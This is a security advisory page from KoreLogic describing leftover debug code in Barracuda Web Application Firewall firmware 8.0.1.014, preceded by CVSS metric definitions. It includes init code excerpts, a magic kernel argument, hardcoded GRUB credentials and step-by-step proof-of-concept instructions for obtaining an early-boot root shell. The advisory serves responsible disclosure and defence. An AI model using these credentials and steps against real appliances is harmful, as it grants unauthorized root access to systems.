The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Barracuda WAF V360 Firmware 8.0.1.014 Early Boot Root ShellKL-001-2017-010 : Barracuda WAF Early Boot Root Shell
Title: Barracuda WAF Early Boot Root Shell
Advisory ID: KL-001-2017-010
Publication Date: 2017.07.06
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-010.txt
1. Vulnerability Details
Affected Vendor: Barracuda
Affected Product: Web Application Firewall V360
Affected Version: Firmware v8.0.1.014
Platform: Embedded Linux
CWE Classification: CWE-489: Leftover Debug Code
Impact: Root Access
Attack vector: Grub
2. Vulnerability Description
Firmware reversing of the Barracuda Web Application Firewall
uncovered debug features that should have been removed on the
production images. Appending a debugging statement onto a grub
configuration line leads to an early boot root shell.
3. Technical Description
After the initramfs image has been decrypted (see
https://www.reddit.com/r/netsec/comments/5fonrm/rooting_an_appliance_for_fun/dandnx2/),
some extra kernel command-line options are checked for by init.
# cat init|more
[snip]
Some interesting things you can do at the kernel command line:
* oldscheme - Choose the "old" partitioning scheme.
* decrypt - Specify that the main partitions are encrypted.
* shell - Run /sbin/init when we're done setting things up.
* wyldstallyns - (soon) better debugging
[snip]
Investigating them further, we find a specific comparison looking for
wlydstallyns=69dude.
# grep -ri "wyldstallyns" *
lib/Barracuda/Preboot/Utils.pm: $self->{WYLDSTALLYNS} = 1 if $cmd eq "wyldstallyns=69dude";
This perl module is imported and used during system init.
# grep "Barracuda::Preboot::Utils" init
use Barracuda::Preboot::Utils qw/try catch/;
If the kernel line contains the debugging statement, a DEBUG variable is set to one.
# cat lib/Barracuda/Preboot/Utils.pm
[snip]
$self->{DEBUG} = 1 if $self->{WYLDSTALLYNS};
[snip]
This variables determines whether or not the bash shell is executed during early boot.
# cat init
[snip]
eval {
parse_args($init);
init( $dialog, $init, $iso );
main( $dialog, $init, $iso, $tools );
boot( $dialog, $init, $iso );
} or do {
if ( defined $init->{DEBUG} ) {
print $@;
exec "/bin/bash";
}
else {
$dialog->hang($@);
}
};
[snip]
4. Mitigation and Remediation Recommendation
The vendor has patched this vulnerability in the lastest
virtual appliance release.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc. and Joshua Hardin.
6. Disclosure Timeline
2016.12.20 - KoreLogic sends vulnerability report and PoC to
Barracuda.
2016.12.21 - Barracuda acknowledges receipt of the vulnerability
report.
2017.01.09 - Barracuda informs KoreLogic that they are working
on remediation for this issue.
2017.01.26 - Barracuda notifies KoreLogic that they do not
consider this to be a security vulnerability, but
intend to change the hardcoded credentials.
Barracuda also asks for additional time beyond the
standard 45 business day embargo to address this
and other issues reported by KoreLogic.
2017.02.27 - 45 business days have elapsed since the issue was
reported.
2017.04.10 - 75 business days have elapsed since the issue was
reported.
2017.05.15 - 100 business days have elapsed since the issue was
reported.
2017.05.24 - Barracuda updates KoreLogic on the status of the
remediation efforts.
2017.06.13 - 120 business days have elapsed since the issue was
reported.
2017.06.27 - Barracuda informs KoreLogic that the issue has
been fixed in the latest release of the WAF
virtual appliance.
2017.07.06 - KoreLogic public disclosure.
7. Proof of Concept
Start by rebooting, hit 'e' during the grub boot menu. When
prompted for credentials, provide: root / bimg. Now, on the
linux line append wyldstallyns=69dude
Hit F10 when finished.
During the boot process you will be prompted with: Paused
(continue|exit)
When you type exit, you are dropped into a root shell.
root@(none):~#
The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum